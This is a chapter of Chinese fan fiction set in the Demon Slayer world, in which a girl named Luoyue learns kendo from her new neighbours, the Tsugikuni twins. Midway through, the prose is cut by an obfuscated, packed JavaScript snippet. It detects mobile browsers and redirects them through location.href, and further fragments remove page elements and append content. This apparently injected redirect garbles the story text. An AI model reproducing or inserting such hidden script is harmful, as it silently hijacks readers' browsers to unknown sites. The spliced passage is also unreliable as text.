“之前租的房子到期,房东不续租。”继国缘一如实说,“这里距离学校更近。” 他在鬼灭综合大学读大三,等春假结束就是大四生。 居然是同校的学长,这也太巧了,落月今日份的惊讶都快用完了。 太过巧合,继国缘一的话反而可信度很高,因为落月会报考鬼灭综合大学就是因为离家近。 想验证继国缘一话语的真假,落月只要登陆校园网搜一下就行,光凭他格外优越的外貌和鹤立鸡群的体型就不可能在大学里岌岌无名。 “没想到缘一前辈真的是我的前辈。”误会解除,女孩子恢复了活泼的模样,她眼眸弯弯地说:“之后,不止作为学徒,也作为邻居请你多多指教啦。” 近水楼台先得月,她成为剑道高手的希望又增添两分,落月仿佛看见一剑惊艳黑死牟的未来在向她招手。 上弦一又如何,玩家说拿下就拿下! 落月喜滋滋地往家里走。 继国缘一跟在她半步后的位置,两家的门正对着,呈镜像般的对立。 继国家的门虚掩着,不用钥匙就能打开,落月一边在口袋里翻找钥匙,一边出于好奇微微扭头。 她还没见过邻居家的布置呢,听说是和她家里一样的布局,入户是走廊式的玄关,很适合在玄关尽头放一面镜子,方便整理着装的同时也显得空间宽阔。 不知道缘一前辈会不会在玄关放镜子呢…… 吱呀,继国缘一拉开门。 露出玄关入口与他面容别无二致的青年。 落月一个手滑,钥匙掉下来,骨碌碌滚远。 她瞳孔地震:怎么会有人把镜子怼着门口放啊! 进门的路都被镜子堵住了,好邪门的装修小巧思。 钥匙砸在地上的声音引起了隔壁邻居的注意力,站在玄关的青年听见动静,侧头看向落月。 他和继国缘一长得一模一样,只是额头上没有火焰状的斑纹,身材挺拔,垂眸看人时带着家教良好的礼貌疏离。 落月的钥匙正好滚到他脚下,他弯腰拾起,指腹拂去钥匙上的浮灰。 “搬家吵闹,请多包涵。”钥匙被递回落月手中,附带初次见面的自我介绍。 “我是缘一的胞兄,继国岩胜。” 11. 玩家登场第十一天 落月一天之内多了两个邻居,手机里新增两位联系人。 和朋友圈完全对外开放的继国缘一不同,继国岩胜只对外展示三天内朋友圈,且内容毫无灵魂,全是转发的推文,涉及金融政治法律等多个领域,超多专有名词,看得人脑袋空空。 显而易见是走精英路线的高端人才,人上人级别。 看起来很不好接近的样子,是落月理论上不会产生交集的类型,如果她没有好奇搜索鬼灭综合大学校园网并点开《【火爆】鬼灭招生部你好事做尽,我校剑道部天才双子了解一下!》热门帖的话。 像缘一前辈这样的剑道高手竟然有两个,落月难免迷信起来:难道真是天助玩家? 等到第二天,在紫藤花道馆看见继国岩胜的时候,玩家的迷信升到最高点。 继国岩胜走进道场的时候,落月正在给继国缘一展示她的月之呼吸第一型白银模式,求教她该如何打出上弦一王者级别的伤害。 继国缘一开动脑筋,继国缘一陷入沉思,继国缘一犹豫开口:“嗯……有手就行?” 落月:你说什么? 你再说一遍? 眼见女孩子一脸疑惑并举起竹刀蠢蠢欲动想敲开胞弟的脑子看看里面是不是一半是水一半是浆糊,继国岩胜不得以站了出来。 “缘一他……没有恶意。”继国岩胜试图用高情商挽回两人岌岌可危的师徒情谊,“他只是以己度人。” 落月:什么意思? 你在埋汰她吗? 并没有,继国岩胜实际上非常理解落月想把继国缘一脑壳敲开看看里面是什么离奇构造的想法,因为他二十年来不止一次这样想过。 继国缘一选择来道馆兼职就是个错误,招聘他的人被神之子高超的剑技迷惑了,不知道继国缘一的教学是怎样灾难级的现场。 剑道不是有手就会?——摘自《继国缘一の神人疑问》 继国缘一不该来道馆兼职,他应该去干快递分拣,至少人们不会质疑一辆叉车。 “相逢即是有缘,岩胜前辈你来帮我看看这一招还有哪些进步的空间。” 神人前辈不行,不代表前辈的兄弟也不行,落月毫不犹豫地拖人下水,在继国岩胜面前把她练到白银模式的月之呼吸一之型再度展示了一次。 如月华般的剑技映在继国岩胜冷肃的瞳孔中,他微微一怔。 拒绝的话语被鬼使神差般的咽了下去,继国岩胜抬手夺过继国缘一手中的竹刀,摆出居合斩的起手式。 突然两手空空的继国缘一:“?” 他是被排挤了吗?(小熊迷茫.jpg) 明明是第一次见到的剑招,在继国岩胜手中却毫无滞涩生疏之感,简直像他亲生的一样。 月之呼吸·一之型·暗月·宵之宫! 剑招轨迹布满独特的圆月刃,非常之正宗,非常之正版。 和黑死牟的剑技十成十的相似,看得落月一拍大腿:对味,太对味了! “岩胜前辈,请教教我!”女孩子急忙说,“拜托了这对我真的很重要!” 继国岩胜沉默了一会儿,他来道馆其实只是为了完成每天的日课,剑道如逆水行舟不进则退,和天赋过人的胞弟不同,继国岩胜更认可天道酬勤的理念。 教导学生什么的,不是缘一的兼职吗? ……为什么用如此渴望的眼神看着他? “我的时间有限。”继国岩胜冷淡地说,“最多半小时。” 半小时也不错,落月很知足地嗯嗯点头,她包好好学的。 落月使出的月之呼吸威力不够,归根究底是她基础太差的问题,从身体素质到发力方式都有毛病,在自小习剑的继国岩胜眼中可谓漏洞百出。 他不自觉地越教越显得严厉,竹刀不重不轻地敲在女孩子膝盖上:“站稳。” 落月不自觉打了个激灵。 熟悉的力道,熟悉的呵斥,梦回玩家被上弦一打成猪头的那一夜。 “岩胜前辈好凶啊。”她小声嘀咕,“动不动就打我。” 继国岩胜:“……只是敲了一下膝盖而已,不要说得像是我在虐待一样。” 他有收着力道。 落月义正言辞:“我需要鼓励教育。” 半个小时转瞬即逝,继国岩胜轻哼了一声,把竹刀丢给蹲在旁边摸鱼的继国缘一:“行,你们继续鼓励教育。” 继国缘一接替兄长的位置,问落月:“要休息一会儿吗?” 落月摇摇头,她拨开被汗水黏湿在脖颈上的发丝,“再来!” 时间不等人,落月休学一年,有足足一年的时间可以打游戏,但继国缘一在道馆的兼职只有短短一个春假,每天的教学时间都弥足珍贵。 和昨天一样,一直到道馆打烊关门的时间,落月才气喘吁吁地停下来,撑着膝盖弯腰喘息。 蓬松的毛巾轻轻盖在女孩子脑袋上,继国缘一弯腰递过来一瓶波子汽水。 是落月昨天请他喝的同款汽水,她摇晃弹珠,笑着问:“这算什么?从我这里赚到的钱又花在了我身上?缘一前辈肯定不擅长理财,应该我请客的。” 道馆里其他的教练早早便下班了,只有继国缘一一直陪着她练到这么晚。 “没关系。”继国缘一摇头,“落月很努力。” 努力的孩子理应得到嘉奖,他很为她的进步而高兴。 缘一前辈真是好人中的大好人,落月心想,善,太善了。 继国缘一依旧和落月一起走在回家的路上,和昨天试图婉拒他的好意不同,落月十分心安理得:毕竟是真的很顺路,顺得不能再顺的路。 因为搬家而堆砌在公寓走廊的箱子已经全部被搬了进去,邻居的搬家效率令人咂舌。 落月:这就是双倍一米九男大的实力吗? 继国兄弟成立搬家公司也是大有可为。 “兄长已经有实习的公司了。”继国缘一说,“他时常加班,每日晚归。” 什么啊,这不是压榨实习生吗?落月为岩胜前辈打抱不平。 继国缘一非常同意落月的看法,他坦言他看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412141|200681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继国岩胜实习公司的老板很不顺眼,每每遇见对方都有种把人砍成臊子的冲动。 居然让人美心善的缘一前辈发出如此偏激的声音,落月判断那位老板绝对很不是个东西,一定是个骗人感情的邪恶资本家。 就像骗走玩家一腔真情的恶毒继母一样! 落月感同身受,她和继国缘一互道晚安,回家睡觉。 第二天重振旗鼓,继续和剑道死磕。 落月的进步肉眼可见,她逐渐适应在道馆的生活: 每天清晨,道馆一开门她就开始练习,从基本功开始,练习内容参考鬼灭综合大学剑道部的日活——继国缘一在发出“剑道不是有手就会?”的声音后遭遇落月强烈谴责,小熊呆呆地挨骂,继国岩胜没眼看,提笔给落月写了一份训练计划。 中午短暂午休,道馆提供美味盒饭,落月作为金主十分慷概,把缘一前辈当熊来喂,小熊猛猛扒饭,她吃饱后借着继国缘一高大的身影挡住自己,躲在道场角落午睡。 午睡时间持续到继国岩胜踏入道馆为止,他每天会来道馆练剑两小时,前一个小时自己练自己的,后一个小时被落月缠着问问题。 月之呼吸一之型的剑招被拆开,她一个动作一个动作地练,直到继国岩胜说出一句“不错。” 虽然现实中没有系统提示音,但落月相信白银模式已经是过去式了,她现在是高贵的钻石玩家! 不容易,太不容易了,落月每天到的比前台早走得比保安晚,精神满满的来,浑身酸痛的走,全靠呼吸法维持生命体征。 她一度想把竹刀从道馆顺走,充当回家路上的拐杖。 “回来了?” 走廊的灯亮起,继国岩胜推开房门,看见神色如常的胞弟和摇摇欲坠的落月。 真是努力啊……他看着女孩子费劲地在口袋里找钥匙,原本细腻白净的掌心磨出鲜红的硬茧,疼痛的水泡用针挑破,残留刺鼻的药味。 继国缘一帮她翻出压在口袋最底下的钥匙,拧开门锁。 “明天还要继续吗?”他问。 “当然。”落月不假思索地说。 她清晰地感受到了,随着呼吸法和剑道的精进,咳嗽渐渐远离她的身体,每一次呼吸都畅快不已。 没有什么比身体变好对落月更有吸引力,何况她的存档还卡在被黑死牟打成猪头那里,玩家绝对要一雪前耻! 女孩子困顿地道了声晚安,关闭的房门遮住她的身影。 “落月进步很大,多谢兄长的教导。”继国缘一说,“明明是我的兼职,却一直劳烦兄长,缘一十分惭愧。” 又在说这种不明所以的话,继国岩胜面无表情地想,难以教导他人只是因为你的天赋远超常人罢了。 不过……教导落月的确有他的功劳,她的剑招中充满了他的影子,仿佛是被继国岩胜启蒙似的。 明明她先遇见的是缘一。 继国缘一:“兄长?” “无事。”继国岩胜回神,他仿佛只是随口一说:“我明日与你同去。”